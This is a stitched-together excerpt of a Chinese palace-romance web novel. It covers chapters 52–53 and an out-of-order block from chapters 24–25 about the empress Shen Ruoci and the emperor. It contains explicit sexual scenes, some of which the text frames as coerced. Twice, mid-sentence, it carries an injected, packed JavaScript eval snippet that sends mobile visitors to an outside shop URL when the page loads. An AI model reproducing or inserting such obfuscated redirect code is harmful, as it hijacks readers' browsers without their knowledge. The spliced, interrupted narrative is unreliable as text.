程于秋摸了摸她的脑袋,“你知道,我一个人没有牵挂,若是你想……” “不要!” 沈若辞只听出一点苗头,就立马打断了她的话,放缓语气道,“不要,阿秋。现在这样子挺好。” 她又重复了一遍,“已经很好了。” 程于秋安静下来。 沈若辞牵着她的手站起来,“阿秋,你把荣月叫醒,我该回去了。” 她身子被弄脏了,不好好清洗一下很不舒服。 何况皇帝对那“舞姬”起了兴致,回去后发现人不见了,以他的恣意妄为,怕是要将宫里翻个底朝天去找人。 她可不想去触霉头。 沈若辞带着清醒过来的荣月匆匆离开,没想行至半路,就遇到了一道人影。 连骁立在路边,似乎一早就在这里等她。 沈若辞明显有些意外,但还是端庄地与他见礼。 见礼后,沈若辞没想多留就要离开,不想却被连骁挡住了去路。 她错愕地看着拦在自己身前的手臂,抬眸看他,“连将军这是何意?” 连骁没有回答,他动了动鼻子,又靠过来,离她身子更近了一点。 “男人的味道。” 沈若辞听到他说了几个字,带着戏谑的味道。 荣月见状赶忙上前护主,“不准对皇后娘娘无礼!” 她推开连骁的手,却被他一眼瞪了回去。 连骁眼神停留在荣月身上,质问道,“今晚你一直跟着你们娘娘?” 荣月顿时心虚。 方才在程将军那屋里,她犯了困,竟自己打起盹儿来,此时被连骁遗一拆穿立马没了底气,不敢再上前去。 沈若辞闻到他身上的酒味,心想他是喝多了,正想喊人来拉走他,连骁附在她耳边低声道,“皇后娘娘今晚跟哪个野男人在一起?” 沈若辞不明所以,但感觉被冒犯了,她攒足了力气推开连骁,“将军请自重。” 连骁轻笑一声抬高下巴看她,“你跟人睡了。” 52. 第 52 章 沈若辞心里一惊,连骁怎么知道这事的?莫非她戴着面纱,连骁都能认出来? 连骁是风月老手,一近她的身就敏锐地发现男人留下来的气味。他脑中快速地搜索,回忆着有可能的人选。他语气不悦地问道,“是谁?袁子逸?” 沈若辞被气红了脸,“胡说八道。” 连骁醒悟过来,“也对,他没资格来。” 沈若辞给了荣月一个眼色,荣月领悟后赶紧去叫人。 月光下她的小脸清透白皙,风情更胜初见时的惊艳,连骁语气都柔和起来,“皇上对你不好,你想找别的男人对你好,是不是??” 沈若辞只当他醉了,皱着眉儿远远地看着他。 他突然伸出手过来,“以后有需要可以来找我,我会一心一意对你好。” 沈若辞拍开他的手。 连骁笑了一下,想着她愿意找别的男人,可见对皇帝也没什么感情。他心情愉悦起来,又看了一眼这张让他魂牵梦绕的脸,然后才转身离去。 荣月叫来了人,沈若辞上了步辇,她想起方才连骁说过的话,下意识拉起裙子,闻了闻自己身上的味道,娇靥一点一点地烫起来。 连骁回去的路上遇到了连亦心,连亦心站在他身旁微微仰起头,“舅舅捎亦心一程,亦心有话要跟舅舅说。” 连骁心情还算不错,他让连亦心一同上了马车。 马车上,连亦心拧着眉儿,忧心忡忡地开口,“舅舅,皇上似乎对我……们连家越来越不上心了。” 连骁还沉浸在方才见沈若辞的愉悦里,听她说话才缓缓地回过神来。连亦心说的事,他一早就察觉到了。皇帝不仅冷落连亦兰,而今对他这个做舅舅的也是端着架子,完全没有往日的依赖和信任。 连亦心见他不开口,又不安地追问,“舅舅,你说表哥是不是知道了那民间女子的事啊……” 要不是连亦心突然扯出这号人来,连骁都不记得这回事了,他冷笑道,“知道又怎么样?以他的薄情寡义,怕是早就不记得那女子了。” 连亦心却不这么认为,她觉得沈若辞能做皇后,其中很大一部分原因是因为跟那民间女子长得像,她摊开了跟连骁讲,“舅舅,有一事你还不知道,现今的皇后娘娘长得跟那民间女子有几分相似。” 连骁原本闭着眼靠着车壁,对她的话不甚在意,此时听她这么讲,猛地睁开了眼睛,“那女子死了没?” 连亦心被他眼中的戾气吓了一跳,话说得不甚肯定,“应该……死了吧。” 连骁没有继续追问下去,但他心中却有另一番算计。若只是因为长得相像,那这事就好办多了,给他把人找回来就得了,多大的事。 他唇边荡起一抹笑意,“我知道你喜欢皇帝,舅舅会扶持你上去那个位置,让你做他的皇后。” 被揭穿了心意,连亦心俏脸一红。这些日子来,她一直因为现实与梦境的出入夜不能寐,此时听到这个消息,心里总算有些安慰,她极轻、极开心地“嗯”了一声。 龙泽宫内,一名宫人垂着头立在屏风前,事无巨细地禀告着事务。 屏风后元栩换下身上的衣物,手中握着一团白布,修长的五指卸去力道,布团舒展开来,勉强能看出是女子贴身的衣物,他眼底晦暗不明,语气淡淡的,“舅舅还做了什么?” 宫人低垂的身子一顿,从平淡的语气中察觉出一丝不悦,他努力回想当时的状况,“连将军把手伸到皇后娘娘身前,并没有触碰到皇后娘娘的身子。” 屏风后一阵沉默。 宫人斟酌着补充道,“皇后娘娘当即推开连将军的手,没有给他靠近的机会。” 元栩将舒展开来的布团没入铜盆,一点一点地洗去脏污。 宫人闻着水声,静静地等候命令。 水声渐歇,屏风那头传来声响,“传令下去,今后任何人无召令不得私自进宫。” 宫人领了命令下去。 隔日清晨,刚用过早膳,薛雪媚几人又相携而来。 沈若辞在发间簪了一支风铃花步摇,挽了披帛就出去见客。后宫的女人,依傍着同一个男人,少不得要勾心斗角互相较量。 到目前为止,这几位妃子虽不知私底下怎么看她想她,但在面子上大家都是客客气气的,她也以礼待之。 薛雪媚见锦云进去禀报,就一小会的功夫,沈若辞就出来了,这让她联想到静妃,便不快道,“还是皇后娘娘识大体,不像某些人,出个门都要打扮上半天,巴不得全世界都知道她受宠。” 连亦兰知道她所指何人,接着她的话说道,“她那嫡亲弟弟马瑜春很快就要被流放了,能不能活着到那鬼地方都未必,她每天就想着涂脂抹粉勾引人。” 沈若辞知道她们在说静妃,她极少跟着薛雪媚几人一同前来,几乎每回都是缺席的。 依着这几个妃子的言辞,静妃似乎还是受宠的那位。沈若辞想起马瑜春做的那些坏事,静妃没少替他包庇周旋,不禁微微皱起眉头。 好在眼下这恶霸伏法,再无法出去祸害别人。 沈若辞沉浸在自己的思绪中,感觉有人推了推她的手,她回过神来,连亦兰正笑盈盈地看着她,“娘娘昨夜走得早,不会还不知道,皇上在假山里宠幸了个胡姬。” 沈若辞脸上神色一滞,心虚道,“略有耳闻。” 薛雪媚心道装什么,恐怕一早就打探得清清楚楚了,她笑道,“那些个胡姬也不知给皇上灌了什么迷魂汤,今日一下早朝,龙泽宫那边就火急火燎地找了两位胡姬过去,半天没出来。” 起初她还在笑,说到后边便也笑不出来了。连低贱的胡姬都愿意睡,可两年来就是不愿意碰她一下,薛雪媚堵了一口怨气袭上心头,憋得慌。 沈若辞却松了一口气,这样看来,皇帝没有识破她的身份,她昨夜并没有穿帮。 ** 掌灯时分,天还未黑透, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617503|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连嬷嬷就催着沈若辞去沐浴净身。 沈若辞慢吞吞地捻起最后一颗樱桃吃下,满足地打了个饱嗝。 皇帝平日里见她,神色都是淡淡的,就连榻上之事,也能感受到他的清冷克制。可昨夜假山里,她第一次知道,皇帝对别的女人,原来是像火一样,炙热疯狂,深知恨不得将对方揉进骨血里。 说实话,这份疯狂刺激,让她害怕的同时,也生出点异样的感觉。 沈若辞身子莫名软了软,她端起茶杯喝水来掩饰发热的耳根。 往常夜里皇帝来雪辉宫,回回都要把她折腾到筋疲力尽。每每这时,沈若辞累得眼皮都抬不起来,他还是龙精虎猛,一副没有尽兴的模样。此番是他合心意的女子,又是一次两女,怕是不到明早不会善罢甘休。 她磨磨蹭蹭地起身,走到浴池旁准备入浴。 住进雪辉宫有一段时间了,这浴池一直空置着,拢共没用上几回。今夜皇帝不会来了,索性让宫女放满了热水,舒舒服服地泡个澡。 沈若辞在池子玩起了水,白白嫩嫩的身子浮浮沉沉,水汽洇染之下,一双杏眸湿漉漉的,鬓边的碎发淌着水珠。她玩累了回到池边,倚着白玉池壁休息,身子软绵绵的,连骨头都是酥的。 荣月进来催过一回了,她将人糊弄走了。此时屋里又进来人,她耳边响起一阵水声,睁开眼儿就看到一串水花被扬起,然后落在池中央。 她缓缓地合上眼皮,宽慰道,“放心吧荣月,皇上有的忙,今夜不会有空过来的。” 荣月没有回应,沈若辞以为对方被自己说服了,正想换个更舒服的姿势,就感觉一只手握住自己的后劲。 那只手的力道渐渐加重,掐得她连回头去看看都无能为力。紧接着她被那股力量提了起来,水珠顺着幼嫩细滑的肌肤滑落,她被迫着站起身来。 沈若辞闻到他身上淡淡的草药香气,心中一惊。他此时不该是与那两位美艳胡姬翻云覆雨的时候,怎么还会有空过来? “皇上。”一双玉足落地,她双手环在胸前转过身去,微微抬眸去看他,惊疑不定,“您怎么有空过来?” 元栩拿起布巾擦拭弄湿的手掌,头也不抬一下,“皇后好好解释一下,朕为何就没空过来呢。” 沈若辞语塞。 不是有两个美艳的胡姬? 这话她只敢在心里想想,却万万不敢问出嘴来。 此时元栩已擦干净了手,他扔过去一件纱衣,盖在她环着雪峰的手臂上。 沈若辞扯下纱衣掩在身子上,小声道,“我还没穿小衣呢。” 元栩投去一道目光,“不必了,等会也要脱。” 她杏眸微垂,咬着唇儿想,那可是两个女人,他难道还要不够吗? 这人是皇帝,沈若辞再也不情愿,也要依他的意思,套上那身纱衣。这纱衣要罩在小衣外边穿的,现在里头空荡荡的,一低头就能瞥见两抹饱满的圆弧,透着朦胧的粉。 53. 第 53 章 幸好皇帝已经拔腿朝门口走去,没看到这一幕。 沈若辞跟在他身后出了浴房,天气开始转凉,殿内已铺上羊毛毯子,光着脚踩在上边软软的,又暖又舒服。 元栩指了指桌面上两个精致的托盘,托盘上各放着一套衣裳,“挑一身,穿上。” 沈若辞看了一下,左边是绯红色的纱裙,右边是轻烟色的,她随手指了指右边的。 见元栩没有表态,沈若辞拿着衣裳去了屏风后边。 元栩在外头等得不耐烦了,“皇后需要朕去抱你出来吗?” 屏风后,沈若辞低头看了一眼身上的裙裳,与昨日那套虽有相似,但明显要精致、轻薄……许多。 她面红耳赤,吞吞吐吐地回道,“这衣裳,见不了人。” 元栩等太久,已然失去了耐性,“沈若辞,你再不出来,朕就……” 他就要闯进去了! 好在话说了半截的时候,沈若辞已从屏风后出来,浓密的乌发披散,末端微微卷着,轻烟色的抹胸纱衣层层叠叠,勉强裹住大半丰盈。 明明是素净的颜色,穿在她玲珑的曲线上,却别有一股魅惑的美感。 元栩莫名觉得口干舌燥,连眼眶都发烫起来,他动了动干燥的唇,哑声道,“跳。” 屋中有乐声响起,沈若辞这才发现门口不知何时摆了上硕大的屏风,与外间隔离开来,他一声令下,屏风后等候多时的乐倌们便开始演奏。 沈若辞的身子随着乐声放松,慢慢进入状态,她抬起手腕,臂弯的披帛随着她扬起的力道翻飞起来。 灵活的足尖轻旋,裙摆漫散开来,宛若神女翩翩起舞。 元栩看得眼花缭乱,心里却不由得赞叹,这小女子怎么什么都会! 要不是此番九皇叔乱点鸳鸯谱,他都不知道沈若辞舞也跳得这么好。 元栩似乎高估了自己的定力,没一会就坐不住了,上去将那起舞的神女抱在怀里,浅浅地吻着她的脸,从额头在下巴,吻得极为克制。 沈若辞乖乖地由他抱着,听他气息混重地在她耳边低语,“你到底还有什么惊喜是朕不知道的。” 她疑惑地望着他,眼神迷离,心道想看跳舞就认真看,要睡她就上床去,说这个到底是什么意思? 元栩并没有上床去的意思,在羊毛毯子上直接要了她一回,漂亮的舞裳被弄脏了。外间乐声还在继续,沈若辞粉颊红透,唇间还咬着他的手指。 元栩抽回布满牙印的长指,附在她耳边低语,“衣裳脏了,朕帮你换另一套。” 沈若辞红唇仍有些僵硬,“我、我我想去清洗……” 元栩脱下她脏污的裙裳,“不必了,朕没有弄在里边,抹一下就好了。” 这回换上绯色的舞裙,这颜色更衬她的明艳,元栩将人抱到羊毛毯的中央。沈若辞被他迫着继续跳舞,方才云雨余韵未散,此时她的身子正酥软,举手投足之间都带着说不清道不明的劲儿。 元栩勉强看到最后,最终还是急不可耐地将人压在梳妆台上,很快又把她弄得哭哭啼啼。 连嬷嬷在外间听到声响立马心领神会,挥挥手就让乐倌们退下。 沈若辞哭得眼眶红红的,纱裙已被拨至腰间,她的腿很漂亮,幼-滑笔直,自纱裙中无力垂落。这一回,比以往的每一次都要持久,沈若辞心跳得急促,几欲眩晕。好在终是等来一声低吼,她如释重负地瘫软在梳妆台上,等着他唤人进来伺候。 元栩拉起裙摆擦拭几下,这才剥下碍事的舞裙,将她整个人抱了起来。他没有走向浴间,径直去了床榻。沈若辞被放在锦褥上,片刻之后,她感觉脚腕被捉住抬起,元栩正跪在脚踏上摆弄着她的双脚。 “不要……”话说出了口,她才发现自己的声音又黏又糊,根本没有反抗的能力,听在男人耳中更像是在助兴。 沈若辞扭动脚踝试图挣脱他的手,元栩一个用力,她整个人滑至床沿,眼见又要被得逞,她又急又羞,屈起膝盖就往他手臂蹬去—— 这一下踢歪了,并没有蹬到元栩的手臂,她只听到一声压抑痛呼,脚底滚烫烫的。 下一秒元栩弓着身子跌落在地,乌发垂散。沈若辞拥着被子坐起来,没看清他的神色,但心底里莫名发慌,直觉自己闯了祸。 也不知道是吓呆了还是心里存着气,沈若辞没有下去扶他的意思,只是呆呆地坐在床榻上望着他。 元栩与她对视了一刻。半晌之后,她仍无动于衷,才自己站起身来,而后开始穿衣服,他边穿边朝外边唤了一声,连嬷嬷应声而入。 殿内安安静静的,小夫妻二人,一个正穿衣服,一个孤独地坐在床上,眼神里尽是无措。 连嬷嬷还没来得及开口,元栩系着腰带,忽然望向她。 “嬷嬷,朕要断子绝孙了。” 连嬷嬷年纪大了,尤其忌讳不吉利的话,她闻言心中咯噔一跳,赶忙化解道,“呸呸呸,小孩子胡说八道,不做数。皇上定会长命百岁,儿孙满堂。” 元栩却一副无所谓的模样,认真系好腰带,不甚在意地朝床榻上看了一眼,才开口道,“朕回龙泽殿去睡。” 连嬷嬷不明所以,又担心他受凉,“夜里风凉,皇上不如在此安寝,明早再走。” 元栩没有回答,又望向塌上一直沉默不语的玉人儿。 沈若辞身子雪白,被拥在锦被中与他对视一眼,始终没有开口。 他冷冷地丢下话,“朕走了。” 沈若辞望向他离开的背影,眼神里闪过瞬间的慌乱,又被眼底的倔强掩落。连嬷嬷这才发现端倪,但已经晚了,元栩已离开了雪辉宫。她追着出去送了件披风,又重新回到屋里。 沈若辞仍坐在床上发愣,连嬷嬷站在床边,一边替她挽起发髻,一边柔声问道,“娘娘,可是发生了什么事?” 沈若辞抿着唇欲言又止。 连嬷嬷寻来干净的中衣给她穿上,见她不肯开口,便道,“娘娘,热水都备着呢,老奴服侍您沐浴。” 沈若辞从茫然中回过神来,点了下头,从被褥中起身。 连嬷嬷扶着人,发现她掌心微微冰凉。 闹腾了半夜,皇帝走了,沈若辞睡得并不安稳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623483|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦里乱糟糟的,有时是他如刀锋般凌厉冰冷的眼神,有时是他不悦的语气,有时是只身在外的父亲,一幕幕在脑中闪过,惊扰了她的梦境。 一夜没睡好,隔日醒来后沈若辞揉了揉额角,神色有些憔悴。 连嬷嬷今晨一早就炖上了雪梨龙骨汤,等她醒来后刚好喝上一碗,沈若辞勉强找回些许劲头。 薛太后身边的嬷嬷来了雪辉宫,开口便道,“太后娘娘有请,请娘娘随老奴走一趟。” 沈若辞身子倦怠,情绪恹恹,本不想去的,但一想到太后身为后宫之主,也不敢怠慢,简单收拾了一下就前往薛太后宫中。 殿内只有薛太后一人,并无其他妃子在场,沈若辞头一回跟她独处,难免有些忐忑。 薛太后却露出温柔的笑容,“过来,坐哀家身边。” 沈若辞依言过去。 薛太后拉着她的手,上上下下将人端详了一阵,直到把沈若辞看得浑身不自在,才叹惋道,“多好看的孩子,可惜皇上糊涂。” 这话从太后口中说出,就是长辈的操心与关怀,但沈若辞若搭腔,就显得不够大度,甚至会被认为是个善妒的主儿。 沈若辞心想着薛太后说这话是何意思,只是茫然地望向对方,没有急着接话。 薛太后看她怔愣,乌沉的目光微微一动,继续说道,“跟个低三下四的舞姬在假山里厮混,也不多看后宫的妃嫔一眼,委屈你们这些好孩子了。” 薛太后说得情真意切,拉着她的手不放,沈若辞却因为被提及假山一事,联想起那夜的靡乱,不由得有些心虚,神色也不自然起来。 她略显局促地回道,“太后娘娘言重了,皇上很好,并没有苛待我。” 奉承皇帝的话,薛太后听得多了,没几个是真心,她一副了然于心的模样,“哀家知道你们懂事,不必替他说好话。你父亲年纪大了,不比当年,理应留在盛京享福才是……” 薛太后欲拉拢沈相,也不是一天两天的事了,沈若辞想起父亲的腿,这几年偶尔发作起来,连早朝也去不了,她不由得心忧起来,“多谢太后娘娘体谅关心,父亲身体确实大不如前。” 殿中安静下来,沈若辞正想找个借口离开。薛太后突然伸手抚上她的脸颊,手指渐渐移到她的下颌,轻轻抬起,雪腮玉肌,秀眉含烟,杏眸潮湿,樱唇粉嫩…… “是顶好的容貌,讨人喜欢得紧。若是赫儿见了你,肯定像哀家一样喜欢。” 沈若辞不明白她为何突然提及元赫。 “日后赫儿回京了,让他封你做个贵妃好不好?” 沈若辞心中一惊,如此大逆不道的话,薛太后竟毫无忌惮地说出口来。她究竟存了什么心思,沈若辞没摸透,但她知道太后皇帝,无论哪一个,都不是她得罪得起的人。 她抬起手,手指搭在薛太后的手腕上,抬眸看她,“太后,臣妾、不明白……” 薛太后这才抽回手,轻笑了一声,“日后啊,你就明白了。” 她爱惜地抚摸着自己手,等沈若辞走远了,才笑出声来。 原来是个草包美人! 24-30 第24章 话刚出口, 他才发现自己的声音是沙哑的。 沈若辞微怔,怀疑自己听错了。踌躇了片刻,指尖轻颤, 低头解去腰间的系带。 领口散开,绢衣滑至臂弯, 露出圆润可爱的肩。 “这样……够、够了吗?”沈若辞不确定地望向元栩,紧张得说出话来都有些口吃。 “你说呢?”他恶意地按了一下她的后腰, 像在看好戏一般,欣赏着她的窘迫。 沈若辞松开双手, 绢衣掉落在被褥上,柔顺的长发遮住了整个后背。 在皇帝意味不明的目光下, 她闭着眼褪下中裤, 白皙光洁的长腿微微曲着。 浑身上下只留下贴身的小衣和亵裤, 裹着女子最柔软的部位。 这已经是她的极限, 可皇帝依然坐得笔直,看不出任何情绪。 “皇上……” 他的声音沙哑得不像自己的, “叫哥哥。” 沈若辞惴惴不安地喊了一声“哥哥”, 小脸憋得通红,连呼吸也开始不舒畅,水润的杏眸怯生生地望着元栩。 她羞耻得快哭了。 嗯。真甜。 元栩终于有了回应,掐着她的腰, 吻了吻她的唇。 沈若辞隐约听到了一声“别怕”,唇舌就被强势地攻入…… 房中烛光暖黄,映出少女芙蓉俏面, 含羞带怯。 唇舌纠缠许久才得以解脱,沈若辞缓出一口气,后颈上的丝带毫无征兆地挑开, 小衣悬在腰间,将落未落。 未及惊叫出声,一阵温热袭来,更是惊得她脑中一片空白,身子绷成直线,只由着那人胡作非为。 直到最柔软的地方被摄住,激得她止不住地冷、颤,继而难受地轻吟出声。 这一声宛若夜莺初啼,软糯娇甜,媚得元栩骨头都酥了。 他稍稍平复了气息,将人按在怀里。见怀中女子双目水光迷离,面若桃花,瞬间呼吸又起伏不定,“忍耐一下,若是疼了就打朕。” 她听得心头一跳,无奈这事已是箭在弦上,她只好靠着那人的肩膀,泪眼朦胧又不敢拒绝。 阿茉候在屋外,听不到里边的动静,坐立难安。 房中的蜡烛燃了半截,偶尔有女子娇娇的哭喊声。 帐幔中,元栩依然衣衫完整,端坐于床榻之上,不去细看根本发现不了端倪倪。 身上唯一的布料不知何时被剥去,他托着她柔软的身子,坐到了他身上。 雪色的肤色透着淡淡的樱粉,映着深紫色的华服,形成了强烈的视觉冲击。 沈若辞只看了一眼,便泫然欲泣,她以前看过医书,略有了解,明明不是这般大小,明明不像眼前这般狰狞可怖…… 她瞬间泪眼汪汪,长睫轻颤,像受了惊的兔子。 知道她的身子孱弱,元栩极富耐心…… 屋中开始传出声响,尽是女子又娇又媚的哭声,娇滴滴的,可怜极了,一听便是被折腾狠了的样子,听得人心痒难耐。 阿茉整颗心立马提了起来,当场又想扑上去推门。一旁的连嬷嬷气定神闲地按住她的手,叹了口气。 小姑娘一早就让她别来的,跟着锦云一起熬药多好,偏偏来蹲门口吹风。 相府这千金她见过一面,比花还娇嫩,模样又乖又媚。皇上是血气方刚的男子,把持不住也不足为奇。 就是这小姑娘没法明白,一点风吹草动就想破门而入,所幸她在场,将人看得牢牢的,没给她机会进去。 同样在屋外吹冷风的不止阿茉一个,还有沈若嫣和袁妙莹的身边的丫鬟。 早些时候,袁妙莹便跟马瑜春做了接头。二人合谋,一举两得。 袁妙莹想毁了沈若辞,马瑜春又想得到沈若辞,就这样阴差阳错地凑在一起,策划一出阴谋。 再加上有沈若嫣里应外合,怕是不成功都难。 等过了今夜,这个所谓的相府千金,就成了被蹂躏过的残花,连她一根脚指头也比不过! 一想到这里,袁妙莹心头一阵得意。 她原本打算自己亲自过来看这一场好戏的,只不过人刚从国公府出来,就遇到岳常安从宫中的马车上下来,笑盈盈地朝她说了一句,“袁姑娘,贵人有请。” 袁妙莹一下子认出了岳常安是皇帝身边的红人,顿时心花怒放,哪里还顾得上捉奸此等闲事。当即朝身边的丫鬟使了一个眼色,满心欢喜地登上了马车。 那丫鬟看明白她的意思,自己去沈府寻了沈若嫣。二人算准了马瑜春入了沈若辞闺房的时间,悄悄地躲在一墙之隔的地方听起了墙角。 果然不出半晌,墙内便传来了女子破碎的娇吟。 沈若嫣脑中顿时脑补了一出大戏。 无外乎是平日里冰清玉洁的堂妹,此时被肥头大耳的马瑜春控制着,翻云覆雨。 屋中女子的哭泣声断断续续,沈若嫣听得解恨。这一夜过后,那高高在上的堂妹,就成了不清不白的残花败柳。 而她帮袁妙莹完成了一桩心事,以后大可以光明正大地与她成为好友。袁妙莹家中兄弟众多,她不管攀上哪一位,以后婚事都不会太差。 沈若辞没有带给她的,她也能靠自己从别的地方得到。 她的如意算盘打得正响,却不知道原本志得意满的马瑜春,早已被打晕了过去,扔在后院的角落里喂蚊子。 * 呜呜咽咽的轻泣声持续了大半夜,沈若辞一会儿在床上,一会儿在他身上。来来回回折腾了多趟,汗湿了身子,到最后已分不清浑身的黏腻是谁的东西。 等到结束的时候,她已然哭哑了嗓子。 皇帝上衣早就被她抓得皱巴巴的,他朝外面喊了一声,门外有人推门而入,他探出半个身子出去,接过来一个茶杯。 沈若辞累极了,但听到帐外的脚步声,还是用最后一丝力气攥紧了他的衣襟。 皇帝抱着她喂了两口蜜茶,润了润嗓子,柔声安抚,“别怕,没朕同意她们不敢进来。” 她稍稍宽心,自己的模样定是狼狈极了,就连自小服侍她的阿茉,也不敢让她看到。 身上点点殷红,那是他留下的,□□细腰尤其明显,元栩目光一沉,附在她耳边轻柔地说道,“先别睡沿沿,朕带你去泡个澡。” 沈若辞身子没了力气,由他用被子裹紧了,抱着去了浴间。浓浓的药味扑鼻而来,饶是她从前在医馆待过,仍一时适应不过来。 浴桶的水都是乌黑浓稠的,她昏昏沉沉地泡在其中,感觉有什么东西正一点一点地侵蚀她的经脉甚至骨头…… 奈何身子累极了,只能伏在他的胸口,不一会儿就沉沉睡去。 “不准睡!”声音起初还很强势霸道,渐渐温和下来,“别睡、别睡……” 她真的太累了,眼皮子太重了,可这人执拗地喊她,喊个不停,她还是艰难地睁开双眼。 那男人满身是血,她眼神也开始溃散,根本看不清人的模样。 “乖,就是这样,撑住……乖,别睡……”他的声音忽然轻柔了许多,轻轻地将她拥入怀里。 有温热的水珠滚落到她脸上,沈若辞感受到了一丝暖意,她浑身冷得骇人,竟觉得这水滴打在脸颊上暖暖的很舒服。她的身子越来越冷,她还想着要去见见爹,她不在了,爹该有多伤心。 而眼前这个男人抱着她,哭得多难过啊,她也想抱抱他呀,可是双手已经无力,身子也一点一点冷下去…… 最后隐约见那人目眦欲裂,咬牙切齿地留下一句话,“袁家人满门抄斩,一个也不许放过!” 沈若辞觉得冷极了,□□的疼痛也开始渐渐麻木,强烈的不安盘踞了整个大脑…… 她哭着醒来的时候,在自己的床上,被那权势滔天的男人抱在怀里。这张脸不怒的时候异常俊美,沈若辞只看了一眼,眼泪还是心惊地滚落下来。 就算他不凶的时候,也有百般手段可以折磨人。她浑身如同被抽了力气,仍酸痛无力得很。 沈若辞抱着双膝,小心翼翼地缩到了角落里,像受了惊的小鹿。 也许是梦中的场景过于真实,心头一直蒙着浓浓的哀伤,泪水也止不住,湿了莹白的脸颊。 元栩拉起被子哄着她,“夜里凉,盖上被子。” 只是他才刚靠近,这小鹿就警惕地避开他的手,身子拼命地往后躲闪,被子滑落在了她脚边。 单薄的身子轻轻发颤,元栩眸光深沉了几分。 那一身的痕迹,是他孟浪放纵的结果。他怜她身子娇嫩,又是初承云雨禁不起折腾,打一开始就已经极力克制。 只是未曾想到她竟是这般青涩难以入口,无意间又将这小娇娇吓得不轻。 元栩心头一疼,想将那绵软香甜再次裹入怀中,好好地安抚一番,但又怕把人吓着了。一时间竟手脚无措,不知该拿她怎么办。 他七岁登基做了皇帝,向来都是呼风唤雨,哪里要他来哄别人。 尽管那少女哭得梨花带雨,脸上仍没有忘记卸下防备,这是把他当成豺狼虎豹了,恨不得躲他远远的。 时光恍若回到了两年前,她眼里一直是没有他的,甚至视他如仇敌。元栩眼神一暗,当即沉下脸,“不要用这种眼神看朕,朕睡你是为了救你。” 作者有话说:太难了,改了几次都没过 第25章 沈若辞喉间哽咽了一下, 整个人怔愣了一瞬,眼泪还是忍不住滴落下来。 元栩一个头有两个大,她如今身子亏损得厉害, 如何禁得起这般伤神。 他干脆不哄了,双手一抱环在胸前, 嘴角扯出一个弧度,“沈若辞, 你再哭,朕就要亲你了。” 这招果然见效, 效果立竿见影,沈若辞立马止住了哭泣, 水光潋滟的双眸看向那人的脸, 无赖又得意。 她抿紧了唇, 生怕自己控制不住要哭出来。 元栩见她慢慢恢复了平静, 又再次拉过被子,往她身上盖好, “乖, 好好睡一觉,朕不会动你的。” 他朝外边看了一眼,黑暗已渐渐消散,隐约能听见后山上的鸡鸣声。他起床穿好衣裳, 见沈若辞仍抱着腿坐在帐中,又顺着床沿坐了下来,“连嬷嬷和锦云留下来伺候你, 到时候跟沿沿一同回宫,有什么事尽管吩咐她们二人。” 他声音温和平静,沈若辞听完后却心底发寒, 猛地抬起头看他,这是连相府都要安插人进来的意思? 皇帝穿戴完毕,若无其事地走到床边坐下,“朕看着你睡,你睡了朕就回宫。” 一听到他要回宫,沈若辞也顾不上去想他安插人进来的事,只拉起脚边的被子安安静静地躺下盖好。 上半夜她被皇帝折腾了半宿,再加上刚刚的梦魇伤了心神,本想着应付他一下,好让人早点离开,没想到沾了枕头,不一会儿就沉沉地睡去了。 元栩并没有信守承诺,他坐在了床边,粗粝的指尖描绘着她的眉,她的眼,最后停在了饱满的唇。睡梦中的人儿卸下了对他的防备,呼吸浅浅的,他在边上盯着,她都能这么入睡,看来真的累坏了。 视线下移,床榻上一抹鲜红。 元栩长指捻着锦被上那抹红,眼中有怜惜,但更多的是极致的满足,从生理到心理。她而今里里外外都是他的了,他在她身上留下了痕迹,是她唯一的男人,这些都让他几欲疯狂。 但眼下身体的欢愉散去,心里有个地方竟然是空落落的。 沈若辞一觉睡到了晌午。 阿茉守在床边,一见她醒来,神色忐忑地问道,“小姐,您……没事吧?” 沈若辞缓缓地睁开眼睛,单手撑着床榻,准备坐起身来。哪知就这么轻轻一动,周身一阵酸痛,尤其是腿心,更是痛得厉害。 阿茉见她面色大变,眉头也皱成一团,就知道昨夜被皇帝折腾坏了,心疼得直掉眼泪,“小姐,您怎么了……” 沈若辞正想安慰一下阿茉,屋中响起连嬷嬷略带冷漠的声音,“凡是女子初次,都要挨过这么一遭,不必大惊小怪。” 话虽然是这么个理,但沈若辞跟皇帝并不熟,也非心甘情愿,这事于她来说是受罪。如果是跟心上人,那就要另当别论了,再疼也是甜蜜的,她肯定也不会面露苦色。 阿茉怔了一下,才明白过来这话说的是她们家小姐,不由得牙狠狠的,当场就想怼回去,却被沈若辞轻轻地按住了手。 连嬷嬷在宫中的声望很高。当年元栩生母被册立为后,她便是那时跟着连皇后一同入宫的。连皇后逝世之后,她又亲手抚养元栩长大。 有了这两层关系,宫中极少有人敢轻慢于她。就连后宫的妃子,见了她也要恭恭敬敬叫上一声“嬷嬷”。 阿茉虽不清楚她的身份,但沈若辞曾听柳太妃提起此人,对她的身份也略知个一二,知道是个不好得罪的,便淡淡地回了声,“嬷嬷说的是。” 连嬷嬷侧头过去,见那女子从锦被中探出半截身子,乌发雪肤,当真美得炫目。尤其是昨夜初承雨露,眉眼间隐隐透着勾人的明艳,心中便是一阵不喜,言语更加冷淡,“沈姑娘麻烦快些个梳洗,厨房里的药快熬好了,凉了喝就失了药效了。” 